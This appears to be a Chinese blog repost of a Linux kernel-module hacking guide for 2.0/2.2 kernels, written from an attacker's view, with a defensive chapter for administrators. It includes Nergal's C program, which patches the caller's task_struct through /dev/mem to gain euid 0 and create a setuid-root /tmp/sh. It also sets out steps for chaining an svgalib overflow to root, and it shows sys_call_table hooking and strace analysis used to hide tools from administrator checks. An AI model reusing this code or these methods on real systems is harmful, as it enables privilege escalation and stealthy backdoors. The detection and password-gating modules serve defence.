第二节的主意很好。但是对于那些不允许存取kmem的系统呢?最后的一个方法就是利用一些内核系统漏洞来插入/改变内核空间。在内核空间总是要有一些缓冲区溢出或者其他的毛病。还要考虑到一些模块的漏洞。只要看一眼内核的许多源文件。甚至用户空间的程序也可以帮助我们改变内核。
我还记得,在几个星期以前,一个和svgalib有关的漏洞被发现。每一个程序通过使用svgalib来获得一个向/dev/mem的写权限。/dev/mem也可以被RKP用来获得和/dev/kmeme一样的地址。因此看一看下面的列表,来获得一些如何在一个非常安全的系统中做RKP的方法:
找到一个使用svgalib的程序。
检查那个程序,获得一个一般的缓冲区溢出(这应该并不会太难)
写一个简单的程序来启动一个程序,打开/dev/mem,获得写句柄,并且可以操纵任务结构使得你的进程的UID=0
###adv### 创建一个root的shell
这个机制通常运行的很好(zgv,gnuplot或者其他的一些著名的例子)。为了获得这个任务结构一些人使用下面的Nergal的程序(这是使用了打开写句柄的)
/*Nergal的作品*/
#define SEEK_SET 0
#define __KERNEL__
#include
#undef __KERNEL__
#define SIZEOF sizeof(struct task_struct)
int mem_fd;
int mypid;
void
testtask (unsigned int mem_offset)
{
struct task_struct some_task;
int uid, pid;
lseek (mem_fd, mem_offset, SEEK_SET);
read (mem_fd, &some_task, SIZEOF);
if (some_task.pid == mypid)
/*是我们的任务结构么?*/
{
some_task.euid = 0;
some_task.fsuid = 0;
/*chown需要这个*/
lseek (mem_fd, mem_offset, SEEK_SET);
write (mem_fd, &some_task, SIZEOF);
/*从现在起,对于我们来说没有法律。。。*/
chown ("/tmp/sh", 0, 0);
chmod ("/tmp/sh", 04755);
exit (0);
}
}
#define KSTAT 0x001a8fb8
/*《-改变这个地址为你的kstat*/
main ()
/*通过执行/proc/ksyms|grep kstat*/
{
unsigned int i;
struct task_struct *task[NR_TASKS];
unsigned int task_addr = KSTAT - NR_TASKS * 4;
mem_fd = 3;
/*假定要打开的是/dev/mem*/
mypid = getpid ();
lseek (mem_fd, task_addr, SEEK_SET);
read (mem_fd, task, NR_TASKS * 4);
for (i = 0; i < NR_TASKS; i++)
if (task[i])
testtask ((unsigned int)(task[i]));
}
这只不过是一个例子,是为了告诉你不管怎么样,你总是能够找到一些方法的。对于有堆栈执行权限的系统,你可以找堆栈溢出,或者跳到某些库函数(system(...)).会有很多方法……
我希望这最后的一节可以给你一些如何继续的提示。
###adv### 第五部分 最近的一些东西:2.2.x版本的内核
5.1 对于LKM作者来说,一些主要的不同点
Linux有了一个新的主版本:2.2在LKM编程上,他带给我们一些小的改变。这一部分将会帮助你适应这些变化,并且列出了大的一些变化。[注意:关于新的版本的内核,会有另一个发布版本]
我会向你介绍一些新的宏和函数来帮助你开发2.2版本的内核的LKM。要获得每一个确切的变化可以看新的头文件linux/module.h。这个文件在2.1.18版本的内核中被完全的重写了。首先让我们来看看一些可以帮助我们更方便的处理系统调用表的宏:
宏描述
EXPORT_NO_SYMBOLS:这一个相当于旧版本内核的register_symtab(NULL)
EXPORT_SYMTAB:如果你想输出一些符号的话,必须在linux/module.h前面定义这个宏
EXPORT_SYMBOL(name):输出名字叫‘name‘的宏
EXPORT_SYMBOL_NOVERS(name):没有版本信息的输出符号
用户空间的存取函数也有很大的变化。因此我会在这里列出来(只要包含asm/uaccess.h来使用他们):
函数描述
int access_ok (int type, unsigned long addr, unsigned long size);
这个函数检查是否当前进程允许存取某个地址
unsigned long copy_from_user (unsigned long to, unsigned long from,
unsigned long len);
这个是新的memcpy_tofs函数
unsigned long copy_to_user (unsigned long to, unsigned long from, unsigned
long len);
这是相对应的copy_from_user(...)
你没有必要使用access_ok(...),因为上面列出的函数都自己检查这个。还有许多不一样的地方,但是你可以看看linux/module.h来获得一个详细的列表。
我最后想提一件事情。我写了很多关于内核守护进程(kerneld)的东西。2.2版的内核不会再使用kerneld了。他使用另外一种方法来实现内核空间的request_module(...)函数-叫做kmod。kmod完全是运行在内核空间的(不再IPC到用户空间了)。对于LKM程序员来说,没有什么大的变化。你还是可以使用request_module(...)来加载模块。因此LKM传染者还是可以在2.2的内核中使用。
我很抱歉关于2.2内核只有这么少的东西。但是目前我正在写一个关于2.2内核安全的论文(特别是LKM的)。因此请注意新的THC发布的论文。我甚至计划工作在一些BSD系统上(FreeBSD,OpenBSD,例如)但是这会发几个月的时间。
第六部分 最后的话
6.1 LKM传奇以及如何使得一个系统即好用又安全
你大概会感到奇怪,既然LKM这么的不安全,那么为什么要使用他们呢。最初LKM是被设计使得用户更为方便的。Linux和Microsoft相对立,因此开发者们需要一个使得老的Unxi系统更为吸引人和容易的方法。他们实现了KDE和其他很好的东西。比如说,kerneld就是被用来使得模块处理更为容易的。但是要记住,越为简单和自动化的系统就会有越多的安全问题。不可能同时使得一个系统既让用户感到很方便又有足够的安全性。模块就是一个很好的这样的例子。
Microsoft给了我们另外一个例子:考虑ActiveX,他(大概)是个好主意,用一个安全的设计来保证一切都是简单的。
因此,亲爱的Linux开发者们;请谨慎了,不要犯Microsoft的错误。不要创建一个好用,但是不安全的OS。把安全时刻记在心中!!!
这篇文章也很清楚的说明了任何系统的内核必须用最好的方法进行保护。不能让一个入侵者更改你系统中最为重要的部分。我把这个任务留给所有系统的设计者。:)
- 作者: wizhu 2005年07月19日, 星期二 22:31 回复(0) | 引用(0) 加入博采
Linux系统可卸载内核模块完全指南(中)
第二部分 渐入佳境2.1 如何截获系统调用
现在我们开始入侵LKM,在正常情况下LKMs是用来扩展内核的(特别是那些硬件驱动)。然而我们的‘Hacks’做一些不一样的事情。他们会截获系统调用并且更改他们,为了改变系统某些命令的响应方式。
下面的这个模块可以使得任何用户都不能创建目录。这只不过是我们随后方法的一个小小演示。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*sys_call_talbe 被引入,所以我们可以存取他*/
int (*orig_mkdir)(const char *path);
/*原始系统调用*/
int hacked_mkdir(const char *path)
{
return 0;
/*其他一切正常,除了新建操作,该操作什么也不做*/
}
int init_module(void)
/*初始化模块*/
{
orig_mkdir=sys_call_table[SYS_mkdir];
sys_call_table[SYS_mkdir]=hacked_mkdir;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_mkdir]=orig_mkdir;
/*恢复mkdir系统调用到原来的哪个*/
}
编译并启动这个模块(见1.1)。然后尝试新建一个目录,你会发现不能成功。由于返回值是0(代表一切正常)我们得不到任何出错信息。在移区模块之后,我们又可以新建目录了。正如你所看到的,我们只需要改变sys_call_table(见1.2)中相对应的入口就可以截获到系统调用了。
截获系统调用的通常步骤如下:
找到你需要的系统调用在sys_call_table[]中的入口(看一眼include/sys/syscall.h)
保存sys_call_table[x]的旧入口指针。(在这里x代表你所想要截获的系统调用的索引)
将你自己定义的新的函数指针存入sys_call_table[x]
你会意识到保存旧的系统调用指针是十分有用的,因为在你的新调用中你会需要他来模拟原始调用。当你在写一个‘Hack-LKM‘时你所面对的第一个问题是:
我到底该截获哪个系统调用?
2.2一些有趣的系统调用
你并不是一个管理内核的上帝,因此你不知道每一个用户的应用程序或者命令到底使用了那些系统调用。因此我会给你一些提示来帮助你找到获得控制的系统调用。
读源代码。在一个象linux这样的系统中,你可以找到任何一个用户(或者管理员)所用的程序的源代码。一旦你发现了某个基本的函数,像dup,open,write.....转向b
下面看看include/sys/syscall.h(见1.2)。试着去直接找相对应的系统调用(查找dup->你就会发现SYS_dup,查找write,你就会发现SYS_write;....)。如果没有找到转向c
一些象socket,send,receive,....这样的调用并不是通过一个系统调用实现的--正如我以前说过的那样。这时就要看一看包含相关系统调用的头文件。
要记住并不是每一个c库里面的函数都是系统调用。绝大多数这样的函数和系统调用毫无关系。一个稍微有一点经验的hacker会看看1.2里面的列表,那已经提供了足够的信息。例如你要知道用户id管理是通过uid的系统调用实现的等等。如果你真的想确定你可以看看库函数/内核的源代码。
最困难的问题是一个系统管理员写了自己的应用程序来检查系统的完整性或者安全性。关于这些程序的问题在于缺乏源代码。我们不能确定这个程序到底是如何工作的以及我们应该截获那些系统调用来隐藏我们的礼物/工具。甚至有可能他引入了一个截获hacker们经常使用的系统调用的LKM来隐藏他自己,并检查系统的安全性(系统管理员们经常使用一些黑客技术来保护他们的系统)。
那我们应该如何继续呢?
2.2.1 发现有趣的系统调用(strace方法)
假定你已经知道了某个系统管理员用来检查系统的程序(这个可以通过某些其他的方法得到,象TTY hijacking(见2.9/appendix
a),现在唯一的问题是你需要让你的礼物躲过系统管理员的程序直到.....)。
好,现在用strace来运行这个程序(也许你需要root权限来执行他)
# strace super_admin_proggy
这会给你一个十分棒的关于这个程序的每个系统调用的输出。这些系统调用有可能都要加入到你的hacking LKM当中去。我并没有一个这样的管理程序作为例子给你看。但是我们可以看看’strace whoami‘的输出:
execve("/usr/bin/whoami", ["whoami"], [/* 50 vars */]) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40007000
mprotect(0x40000000, 20673, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
stat("/etc/ld.so.cache", {st_mode=S_IFREG|0644, st_size=13363, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY) = 3
mmap(0, 13363, PROT_READ, MAP_SHARED, 3, 0) = 0x40008000
close(3) = 0
stat("/etc/ld.so.preload", 0xbffff780) = -1 ENOENT (No such file or
directory)
open("/lib/libc.so.5", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3"..., 4096) = 4096
mmap(0, 761856, PROT_NONE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4000c000
mmap(0x4000c000, 530945, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0)
= 0x4000c000
mmap(0x4008e000, 21648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3,
0x81000) = 0x4008e000
mmap(0x40094000, 204536, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40094000
close(3) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
munmap(0x40008000, 13363) = 0
mprotect(0x8048000, 6324, PROT_READ|PROT_EXEC) = 0
mprotect(0x4000c000, 530945, PROT_READ|PROT_EXEC) = 0
mprotect(0x40000000, 20673, PROT_READ|PROT_EXEC) = 0
personality(PER_LINUX) = 0
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
brk(0x804aa48) = 0x804aa48
brk(0x804b000) = 0x804b000
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=2005, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40008000
read(3, "# Locale name alias data base\n#"..., 4096) = 2005
brk(0x804c000) = 0x804c000
read(3, "", 4096) = 0
close(3) = 0
munmap(0x40008000, 4096) = 0
open("/usr/share/i18n/locale.alias", O_RDONLY) = -1 ENOENT (No such file
or directory)
open("/usr/share/locale/de_DE/LC_CTYPE", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=10399, ...}) = 0
mmap(0, 10399, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40008000
close(3) = 0
geteuid() = 500
open("/etc/passwd", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=1074, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 1074
close(3) = 0
munmap(0x4000b000, 4096) = 0
fstat(1, {st_mode=S_IFREG|0644, st_size=2798, ...}) = 0
mmap(0, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x4000b000
write(1, "r00t\n", 5r00t
) = 5
_exit(0) = ?
这确实是一个非常美妙的关于命令’whoami‘的系统调用列表,不是么?在这里为了控制’whoami‘的输出需要拦截4个系统调用
geteuid() = 500
getuid() = 500
getgid() = 100
getegid() = 100
可以看看2.6的哪个程序的实现。这种分析程序的方法对于显示其他基本工具的信息也是十分重要的。
我希望现在你能够找到那些能够帮助你隐藏你自己的,或者做系统后门,或者任何你想做的事情的系统调用.
第三部分 解决方案(给系统管理员)
3.1 LKM检测的理论和想法
我想现在该到帮助我们的系统管理员来保护他们的系统的时候了。在解释一些理论以前,为了使你的系统变的安全,请记住如下的基本原则:
绝对不要安装你没有源代码的LKMs。(当然,这对于普通的可执行文件也适用)
如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。
甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。
因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录.
当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。
要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。
3.1.1 一个使用的检测器的原形
对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
int (*orig_create_module)(char*, unsigned long);
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);
/*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/
printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);
ret=orig_create_module(name, size);
return ret;
}
int init_module(void)
/*初始化模块*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_create_module]=orig_create_module;
}
这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截sys_init_module(...)来显示每一个模块。这不过是一个品位问题。
3.1.2 一个密码保护的create_module(...)的例子
这一节我们会讨论如何给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务:
一个检查模块加载的方法(容易)
一个校验的方法(相当的难)
第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加载是否合法了。但是如何进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用.
因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linux
starter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了很多现存的代码....)
#define MODULE
#define __KERNEL__
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
extern void* sys_call_table[];
/*如果lock_mod=1 就是允许加载一个模块*/
int lock_mod=0;
int __NR_myexecve;
/*拦截create_module(...)和stat(...)系统调用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;
do {
dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != ‘\0‘) && (compt != n));
return dest;
}
int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password";
/*yeah,一个很好的密码*/
name = (char *) kmalloc(255, GFP_KERNEL);
(void) strncpy_fromfs(name, filename, 255);
/*有密码么?*/
if (strstr(name, password)!=NULL)
{
/*一次仅允许加载一个模块*/
lock_mod=1;
kfree(name);
return 0;
}
else
{
kfree(name);
ret = orig_stat(filename, buf);
}
return ret;
}
int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;
if (lock_mod==1)
{
lock_mod=0;
ret=orig_create_module(name, size);
return ret;
}
else
{
printk("<1>MOD-POL : Permission denied !\n");
return 0;
}
return ret;
}
int init_module(void)
/*初始化模块*/
{
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
__NR_myexecve--;
sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];
orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
printk("<1>MOD-POL LOADED...\n");
return 0;
}
void cleanup_module(void)
/*卸载模块*/
{
sys_call_table[SYS_prev_stat]=orig_stat;
sys_call_table[SYS_create_module]=orig_create_module;
}
代码本身很清楚.下面将会告诉你如何才能让你的LKM更安全,也许这有一些多疑了 :) :
使用另外一种检验方式(使用你自己的用户空间接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他 :) ...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核.
另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)
找到一个更好的方法在sys_create_module(...)中进行检查.检查一个变量并不是十分的安全.如果某些人控制了你的系统.他是可以修改内存的(见下一章)
找到一个方法使得一个入侵者没有办法通过你的校验来加载他的LKM
加入隐藏的功能.
...
有很多工作可以做.但是即使有了这些工作,你的系统也不是完全就是安全的.如果某些人控制了你的系统,他是可以发现一些方法来加载他的LKM的(见下一章);甚至他并不需要一个LKM,因为他只是控制了这个系统,并不想隐藏文件或者进程(和其他的LKM提供的美妙的功能).
3.2 防止LKM传染者的方法
内存驻留的扫描程序(实时的)(就像DOS下的TSR病毒扫描;或者WIN9x下的VxD病毒扫描)
文件检查扫描器(检查模块文件里面的特征字串)
第一种方法可以通过拦截sys_create_module实现(或者init_module调用).第二种方法需要一些模块文件的特征字串.因此我们必须检查两个elf文件头或者标志位.当然,其他的一些LKM传染者可能使用一些改进了的方法.(加密,自我更改代码等等).我不会提供一个检查文件的扫描器.因为你只不过需要写一个小的用户空间的程序来读进模块文件,并且检查两种elf文件头(‘ELF‘字符串,比如)
- 作者: wizhu 2005年07月19日, 星期二 22:31 回复(0) | 引用(0) 加入博采
Linux系统可卸载内核模块完全指南(上)
简介将Linux操作系统用于服务器在现在是越来越普遍了。因此,入侵Linux在今天也变得越来越有趣.目前最好的攻击Linux的技术就是修改内核代码.由于一种叫做可卸载内核(Loadable
KernelModules(LKMs))的机制,我们有可能编写在内核级别运行的代码,而这种代码可以允许我们接触到操作系统中非常敏感的部分.在过去有一些很好的关于LKM知识的文本或者文件,他们介绍一些新的想法,方法以及一名Hacker所梦寐以求的完整的LKMs.而且也有一些很有趣的公开的讨论(在新闻组,邮件列表).
然而为什么我再重新写这些关于LKMs的东西呢?下面是我的一些理由:
在过去的教材中常常没有为那些初学者提供很好的解释.而这个教材中有很大一部分的基础章节.这是为了帮助那些初学者理解概念的.我见过很多人使用系统的缺陷或者监听器然而却丝毫不了解他们是如何工作的.在这篇文章中我包含了很多带有注释的源代码,只是为了帮助那些认为入侵仅仅是一些工具游戏的初学者!
每一个发布的教材不过把话题集中在某个特别的地方.没有一个完整的指导给那些关注LKMs的Hacker.这篇文章会覆盖几乎所有的关于LKMs的资料(甚至是病毒方面的).
这篇文章是从Hacker或者病毒的角度进行讨论的,但是系统管理员或者内核的开发者也可以参考并从中学到很多东西.
以前的文章介绍一些利用LKMs进行入侵的优点或者方法,但是总是还有一些东西是我们过去从来没有听说过的.这篇文章会介绍一些新的想法给大家.(不是所有的新的资料,只是一些对我们有帮助的)
这篇文章会介绍一些简单的防止LKM攻击的方法,同时也会介绍如何通过使用一些像运行时内核补丁(Runtime Kernel Patching)这样的方法来对付这些防御措施.
要记住这些新的想法仅仅是通过利用一些特殊的模块来实现的.要在现实中真正使用他们还需要对他们进行改进.这篇文章的主要目的是给大家在整个LKM上一个大方向上的指导.在附录A中,我会给大家一些实用的LKMs,并附上一些简短的注释(这是为那些新手的),以及如何使用他们.
整篇文章(除了第五部分)是基于 Linux 2.0.x的80x86机器的.我测试了所有的程序和代码段.为了能够正常使用这里提供的绝大部分代码,你的Linux系统必须有LKM支持.只有在第四部分会给大家一些不需要LKM支持的源代码.本文的绝大多数想法一样可以在Linux2.2.x上实现(也许你会需要一些小小的改动).
这篇文章会有一个特别的章节来帮助系统管理员进行系统安全防护.你(作为一名Hacker)也必须仔细阅读这些章节.你必须要知道所有系统管理员知道的,甚至更多.你也会从中发现很多优秀的想法.这也会对你开发高级的入侵系统的LKMs有所帮助.
因此,通读这篇文章吧.
第一部分. 基础知识
1.1 什么是LKMs
LKMs就是可卸载的内核模块(Loadable Kernel
Modules)。这些模块本来是Linux系统用于扩展他的功能的。使用LKMs的优点有:他们可以被动态的加载,而且不需要重新编译内核。由于这些优点,他们常常被特殊的设备(或者文件系统),例如声卡等使用。
每个LKM至少由两个基本的函数组成:
int init_module(void) /*用于初始化所有的数据*/
{
...
}
void cleanup_module(void) /*用于清除数据从而能有一个安全的退出*/
{
...
}
加载一个模块(常常只限于root能够使用)的命令是:
# insmod module.o
这个命令让系统进行了如下工作:
加载可执行的目标文件(在这儿是module.o)
调用 create_module这个系统调用(至于什么叫系统调用,见1.2)来分配内存.
不能解决的引用由系统调用get_kernel_syms进行查找引用.
在此之后系统调用init_module将会被调用用来初始化LKM->执行 int inti_module(void) 等等
(内核符号将会在1.3节中内核符号表中解释)
OK,到目前为止,我想我们可以写出我们第一个小的LKM来演示一下这些基本的功能是如何工作的了.
#define MODULE
#include
int init_module(void)
{
printk("<1>Hello World\n");
return 0;
}
void cleanup_module(void)
{
printk("<1>Bye, Bye");
}
你可能会奇怪为什么在这里我用printk(....)而不是printf(.....).在这里你要明白内核编程是完全不同于普通的用户环境下的编程的.你只能使用很有限的一些函数(见1.6)仅使用这些函数你是干不了什么的.因此,你将会学会如何使用你在用户级别中用的那么多函数来帮助你入侵内核.耐心一些,在此之前我们必须做一点其他的.....
上面的那个例子可以很容易的被编译:
# gcc -c -O3 helloworld.c
# insmod helloworld.o
OK,现在我们的模块已经被加载了并且给我们打印出了那句很经典的话.现在你可以通过下面这个命令来确认你的LKM确实运行在内核级别中:
# lsmod
Module Pages Used by
helloworld 1 0
这个命令读取在 /proc/modules 的信息来告诉你当前那个模块正被加载.‘Pages‘
显示的是内存的信息(这个模块占了多少内存页面).‘Used by‘显示了这个模块被系统
使用的次数(引用计数).这个模块只有当这个计数为0时才可以被除去.在检查过这个以后,你可以用下面的命令卸载这个模块
# rmmod helloworld
OK,这不过是我们朝LKMs迈出的很小的一步.我常常把这些LKMs于老的DOS TSR程序做比较,(是的,我知道他们之间有很多地方不一样),那些TSR能够常驻在内存并且截获到我们想要的中断.Microsoft‘s Win9x有一些类似的东西叫做VxD.关于这些程序的最有意思的一点在于他们都能够挂在一些系统的功能上,在Linux中我们称这些功能为系统调用.
1.2什么是系统调用
我希望你能够懂,每个操作系统在内核中都有一些最为基本的函数给系统的其他操作调用.在Linux系统中这些函数就被称为系统调用(System Call).他们代表了一个从用户级别到内核级别的转换.在用户级别中打开一个文件在内核级别中是通过sys_open这个系统调用实现的.在/usr/include/sys/syscall.h中有一个完整的系统调用列表.下面的列表是我的syscall.h
#ifndef _SYS_SYSCALL_H
#define _SYS_SYSCALL_H
#define SYS_setup 0
/* 只被init使用,用来启动系统的*/
#define SYS_exit 1
#define SYS_fork 2
#define SYS_read 3
#define SYS_write 4
#define SYS_open 5
#define SYS_close 6
#define SYS_waitpid 7
#define SYS_creat 8
#define SYS_link 9
#define SYS_unlink 10
#define SYS_execve 11
#define SYS_chdir 12
#define SYS_time 13
#define SYS_prev_mknod 14
#define SYS_chmod 15
#define SYS_chown 16
#define SYS_break 17
#define SYS_oldstat 18
#define SYS_lseek 19
#define SYS_getpid 20
#define SYS_mount 21
#define SYS_umount 22
#define SYS_setuid 23
#define SYS_getuid 24
#define SYS_stime 25
#define SYS_ptrace 26
#define SYS_alarm 27
#define SYS_oldfstat 28
#define SYS_pause 29
#define SYS_utime 30
#define SYS_stty 31
#define SYS_gtty 32
#define SYS_access 33
#define SYS_nice 34
#define SYS_ftime 35
#define SYS_sync 36
#define SYS_kill 37
#define SYS_rename 38
#define SYS_mkdir 39
#define SYS_rmdir 40
#define SYS_dup 41
#define SYS_pipe 42
#define SYS_times 43
#define SYS_prof 44
#define SYS_brk 45
#define SYS_setgid 46
#define SYS_getgid 47
#define SYS_signal 48
#define SYS_geteuid 49
#define SYS_getegid 50
#define SYS_acct 51
#define SYS_phys 52
#define SYS_lock 53
#define SYS_ioctl 54
#define SYS_fcntl 55
#define SYS_mpx 56
#define SYS_setpgid 57
#define SYS_ulimit 58
#define SYS_oldolduname 59
#define SYS_umask 60
#define SYS_chroot 61
#define SYS_prev_ustat 62
#define SYS_dup2 63
#define SYS_getppid 64
#define SYS_getpgrp 65
#define SYS_setsid 66
#define SYS_sigaction 67
#define SYS_siggetmask 68
#define SYS_sigsetmask 69
#define SYS_setreuid 70
#define SYS_setregid 71
#define SYS_sigsuspend 72
#define SYS_sigpending 73
#define SYS_sethostname 74
#define SYS_setrlimit 75
#define SYS_getrlimit 76
#define SYS_getrusage 77
#define SYS_gettimeofday 78
#define SYS_settimeofday 79
#define SYS_getgroups 80
#define SYS_setgroups 81
#define SYS_select 82
#define SYS_symlink 83
#define SYS_oldlstat 84
#define SYS_readlink 85
#define SYS_uselib 86
#define SYS_swapon 87
#define SYS_reboot 88
#define SYS_readdir 89
#define SYS_mmap 90
#define SYS_munmap 91
#define SYS_truncate 92
#define SYS_ftruncate 93
#define SYS_fchmod 94
#define SYS_fchown 95
#define SYS_getpriority 96
#define SYS_setpriority 97
#define SYS_profil 98
#define SYS_statfs 99
#define SYS_fstatfs 100
#define SYS_ioperm 101
#define SYS_socketcall 102
#define SYS_klog 103
#define SYS_setitimer 104
#define SYS_getitimer 105
#define SYS_prev_stat 106
#define SYS_prev_lstat 107
#define SYS_prev_fstat 108
#define SYS_olduname 109
#define SYS_iopl 110
#define SYS_vhangup 111
#define SYS_idle 112
#define SYS_vm86old 113
#define SYS_wait4 114
#define SYS_swapoff 115
#define SYS_sysinfo 116
#define SYS_ipc 117
#define SYS_fsync 118
#define SYS_sigreturn 119
#define SYS_clone 120
#define SYS_setdomainname 121
#define SYS_uname 122
#define SYS_modify_ldt 123
#define SYS_adjtimex 124
#define SYS_mprotect 125
#define SYS_sigprocmask 126
#define SYS_create_module 127
#define SYS_init_module 128
#define SYS_delete_module 129
#define SYS_get_kernel_syms 130
#define SYS_quotactl 131
#define SYS_getpgid 132
#define SYS_fchdir 133
#define SYS_bdflush 134
#define SYS_sysfs 135
#define SYS_personality 136
#define SYS_afs_syscall 137
#define SYS_setfsuid 138
#define SYS_setfsgid 139
#define SYS__llseek 140
#define SYS_getdents 141
#define SYS__newselect 142
#define SYS_flock 143
#define SYS_syscall_flock SYS_flock
#define SYS_msync 144
#define SYS_readv 145
#define SYS_syscall_readv SYS_readv
#define SYS_writev 146
#define SYS_syscall_writev SYS_writev
#define SYS_getsid 147
#define SYS_fdatasync 148
#define SYS__sysctl 149
#define SYS_mlock 150
#define SYS_munlock 151
#define SYS_mlockall 152
#define SYS_munlockall 153
#define SYS_sched_setparam 154
#define SYS_sched_getparam 155
#define SYS_sched_setscheduler 156
#define SYS_sched_getscheduler 157
#define SYS_sched_yield 158
#define SYS_sched_get_priority_max 159
#define SYS_sched_get_priority_min 160
#define SYS_sched_rr_get_interval 161
#define SYS_nanosleep 162
#define SYS_mremap 163
#define SYS_setresuid 164
#define SYS_getresuid 165
#define SYS_vm86 166
#define SYS_query_module 167
#define SYS_poll 168
#define SYS_syscall_poll SYS_poll
#endif /* */
每个系统调用都有一个预定义的数字(见上表),那实际上是用来进行这些调用的.内核通过中断0x80来控制每一个系统调用.这些系统调用的数字以及任何参数都将被放入某些寄存器(eax用来放那些代表系统调用的数字,比如说)
那些系统调用的数字是一个被称之为sys_call_table[]的内核中的数组结构的索引值.这个结构把系统调用的数字映射到实际使用的函数.
OK,这些是继续阅读所必须的足够知识了.下面的表列出了那些最有意思的系统调用以及一些简短的注释.相信我,为了你能够真正的写出有用的LKM你必须确实懂得那些系统调
用是如何工作的.
系统调用列表:
int sys_brk(unsigned long new_brk);
改变DS(数据段)的大小->这个系统调用会在1.4中讨论
int sys_fork(struct pt_regs regs);
著名的fork()所用的系统调用
int sys_getuid ()
int sys_setuid (uid_t uid)
用于管理UID等等的系统调用
int sys_get_kernel_sysms(struct kernel_sym *table)
用于存取系统函数表的系统调用(->1.3)
int sys_sethostname (char *name, int len);
int sys_gethostname (char *name, int len);
